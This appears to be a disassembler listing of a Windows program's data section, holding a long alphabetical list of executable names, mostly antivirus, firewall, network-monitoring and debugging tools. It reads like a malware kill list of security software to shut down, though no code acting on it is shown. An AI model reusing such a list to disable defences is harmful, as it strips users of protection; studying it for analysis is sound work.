aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:0042250Co
align 10h
aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:00422508o
align 4
aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:00422504o
aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:00422500o
align 4
aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:004224FCo
aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:004224F8o
aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:004224F4o
align 4
aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:004224F0o
align 4
aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:004224ECo
align 4
aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:004224E8o
align 4
aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:004224E4o
align 4
aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:004224E0o
align 4
aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:004224DCo
aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:004224D8o
align 4
aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:004224D4o
align 4
aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:004224D0o
align 4
aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:004224CCo
align 10h
aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:004224C8o
align 4
aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:004224C4o
align 4
aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:004224C0o
align 4
aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:004224BCo
align 4
aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:004224B8o
align 10h
aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:004224B0o
; .data:004224B4o
aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:004224ACo
align 4
aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:004224A8o
align 4
aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:004224A4o
align 4
aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:004224A0o
align 4
aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:0042249Co
aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:00422498o
align 10h
aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:00422494o
align 10h
aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:00422490o
aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:0042248Co
aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:00422488o
align 4
aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:00422484o
align 4
aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0042247Co
; .data:00422480o
align 4
aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:00422478o
aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:00422474o
align 4
aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:00422470o
align 4
aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:0042246Co
align 4
aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:00422468o
align 10h
aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:00422464o
align 10h
aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:00422460o
align 10h
aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:0042245Co
aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:00422458o
align 4
aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:00422454o
align 4
aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:00422450o
align 4
aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:0042244Co
align 4
aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00422448o
align 4
aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00422444o
align 4
aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:00422440o
align 4
aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0042243Co
align 4
aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:00422438o
aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:00422434o
align 4
aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:00422430o
align 10h
aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:0042242Co
align 4
aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:00422428o
aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:00422424o
align 4
aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:00422420o
aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0042241Co
align 4
aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:00422418o
align 4
aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:00422414o
align 4
aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:00422410o
aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:0042240Co
align 10h
aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:00422408o
align 10h
aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:00422404o
aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:00422400o
align 10h
aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:004223FCo
align 4
aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:004223F8o
aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:004223F4o
align 4
aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:004223F0o
align 10h
aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:004223ECo
align 4
aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:004223E8o
aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:004223E4o
align 4
aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:004223E0o
aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:004223DCo
align 4
aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:004223D8o
align 4
aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:004223D4o
align 4
aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:004223D0o
align 4
aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:004223CCo
align 4
aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:004223C8o
align 4
aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:004223C4o
aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:004223C0o
align 10h
aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:004223BCo
align 4
aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:004223B8o
align 4
aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:004223B4o
align 4
aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:004223B0o
align 4
aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:004223ACo
align 4
aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:004223A8o
align 4
aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:004223A4o
align 10h
aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:004223A0o
aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:0042239Co
align 4
aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:00422398o
align 4
aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:00422394o
align 4
aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:00422390o
align 4
aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: .data:0042238Co
align 4
aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:00422388o
align 10h
aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:00422384o
aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:00422380o
aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:0042237Co
aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .data:00422378o
align 10h
aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:00422374o
align 4
aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:00422370o
align 4
aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:0042236Co
aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:00422368o
align 4
aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:00422364o
align 4
aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:00422360o
align 10h
aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:0042235Co
aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:00422358o
aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:00422354o
align 4
aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:00422350o
aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:0042234Co
align 4
aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:00422348o
align 4
aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:00422344o
aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:00422340o
align 4
aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0042233Co
align 4
aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:00422338o
align 4
aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:00422334o
align 10h
aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:00422330o
align 4
aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:0042232Co
align 4
aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:00422328o
aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:00422320o
; .data:00422324o
align 4
aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:0042231Co
align 10h
aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:00422318o
align 10h
aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:00422314o
align 10h
aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:00422310o
aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:0042230Co
align 4
aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:00422308o
align 4
aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:00422304o
align 4
aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:00422300o
aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:004222FCo
align 10h
aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:004222F4o
; .data:004222F8o
align 4
aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:004222F0o
align 4
aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:004222ECo
align 4
aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:004222E8o
aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:004222E4o
align 4
aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:004222E0o
align 4
aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:004222DCo
align 4
aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:004222D8o
align 10h
aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:004222D4o
align 10h
aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:004222D0o
align 4
aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:004222CCo
align 4
aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:004222C8o
align 4
aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:004222C4o
align 4
aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:004222C0o
align 4
aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:004222BCo
aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:004222B8o
align 10h
aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:004222B4o
align 4
aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:004222B0o
align 4
aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:004222ACo
aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:004222A8o
align 10h
aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:004222A4o
align 4
aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:004222A0o
align 4
aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0042229Co
align 4
aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:00422298o
align 10h
aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:00422294o
align 4
aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:00422290o
aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:0042228Co
align 4
aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:00422288o
align 10h
aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:00422284o
align 4
aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:00422280o
align 4
aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:0042227Co
align 4
aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:00422278o
aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:00422274o
aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:00422270o
align 4
aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:0042226Co
align 4
aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:00422268o
align 10h
aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:00422264o
align 4
aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:00422260o
align 4
aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:0042225Co
align 4
aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:00422258o
aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:00422254o
align 10h
aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:00422250o
align 10h
aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:0042224Co
align 10h
aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:00422248o
align 4
aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:00422244o
align 4
aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:00422240o
align 4
aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:00422238o
; .data:0042223Co
align 4
aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:00422234o
align 4
aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:00422230o
align 4
aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:0042222Co
align 4
aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:00422228o
aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:00422224o
align 4
aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:00422220o
align 4
aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:0042221Co
aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:00422218o
align 4
aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:00422214o
align 10h
aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:00422210o
align 4
aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:0042220Co
align 4
aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:00422208o
aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:00422204o
align 10h
aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:00422200o
align 10h
aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:004221FCo
align 10h
aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:004221F8o
align 4
aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:004221F4o
align 4
aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:004221F0o
aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:004221ECo
align 4
aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:004221E8o
align 4
aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:004221E4o
aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:004221E0o
align 10h
aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:004221DCo
align 4
aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:004221D8o
align 4
aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:004221D4o
align 4
aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:004221D0o
align 10h
aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:004221CCo
align 4
aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:004221C8o
align 4
aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:004221C4o
align 4
aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:004221C0o
align 10h
aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:004221BCo
align 4
aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004221B8o
align 4
aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:004221B4o
align 4
aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:004221B0o
align 10h
aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:004221ACo
align 4
aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:004221A8o
aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:004221A4o
align 10h
aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004221A0o
align 4
aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:0042219Co
align 10h
aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:00422198o
align 4
aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:00422194o
align 10h
aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:00422190o
align 10h
aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:0042218Co
align 10h
aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:00422188o
align 4
aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:00422184o
align 4
aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:00422180o
align 4
aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:0042217Co
aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:00422178o
aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:00422174o
align 4
aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:00422170o
align 4
aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:0042216Co
align 4
aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:00422168o
aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:00422164o
align 10h
aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:00422160o
align 10h
aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0042215Co
align 4
aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:00422158o
align 4
aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:00422154o
align 4
aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:00422150o
align 4
aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:0042214Co
align 4
aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:00422148o
align 4
aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:00422144o
align 4
aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:00422140o
align 4
aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:0042213Co
align 10h
aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:00422138o
aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:00422134o
align 4
aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:00422130o
aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:0042212Co
align 10h
aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:00422128o
aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:00422124o
align 4
aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:00422120o
align 4
aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:0042211Co
align 4
aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:00422118o
aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:00422114o
align 4
aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:00422110o
align 10h
aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:0042210Co
align 10h
aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:00422108o
aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:00422104o
align 4
aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:00422100o
align 10h
aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:004220FCo
align 10h
aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:004220F8o
align 4
aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:004220F4o
align 4
aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:004220F0o
align 4
aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:004220ECo
align 4
aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:004220E8o
align 4
aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:004220E4o
align 4
aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:004220E0o
aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:004220D8o
align 10h
aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:004220D4o
align 10h
aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:004220D0o
aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:004220CCo
align 4
aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:004220C8o
align 10h
aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:004220C4o
align 10h
aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:004220C0o
align 10h
aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:004220BCo
aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004220B8o
align 10h
aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:004220B4o
aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:004220B0o
align 4
aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:004220ACo
align 4
aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:004220A8o
align 4
aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:004220A4o
align 10h
aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:004220A0o
aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:0042209Co
align 4
aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:00422098o
aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:00422094o
align 4
aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:00422090o
; .data:004220DCo
align 4
aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:0042208Co
align 4
aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:00422088o
align 10h
aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:00422080o
; .data:00422084o
align 10h
aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:0042207Co
align 10h
aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:00422078o
align 4
aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:00422074o
aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:00422070o
aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:0042206Co
align 4
aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:00422068o
align 4
aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:00422064o
align 4
aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:00422060o
aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:0042205Co
align 4
aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:00422058o
align 4
aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:00422054o
align 4
aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:00422050o
aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:0042204Co
align 4
aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:00422048o
align 4
aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:00422044o
align 4
aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:00422040o
align 4
aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:0042203Co
align 4
aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:00422038o
align 10h
aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:00422034o
align 4
aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00422030o
align 10h
aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:0042202Co
align 4
aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:00422028o
align 4
aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:00422024o
align 4
aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:00422020o
align 4
aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:0042201Co
align 10h
aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:00422018o
aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:00422014o
align 4
aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:00422010o
aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:00422008o
; .data:0042200Co
aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00422004o
align 10h
aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00422000o
align 4
aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:00421FFCo
align 4
aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:00421FF4o
; .data:00421FF8o
align 4
aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:00421FF0o
align 10h
aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:00421FECo
aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:00421FE8o
aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:00421FE4o
align 4
aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:00421FE0o
align 4
aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:00421FD8o
; .data:00421FDCo
align 4
aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:00421FD4o
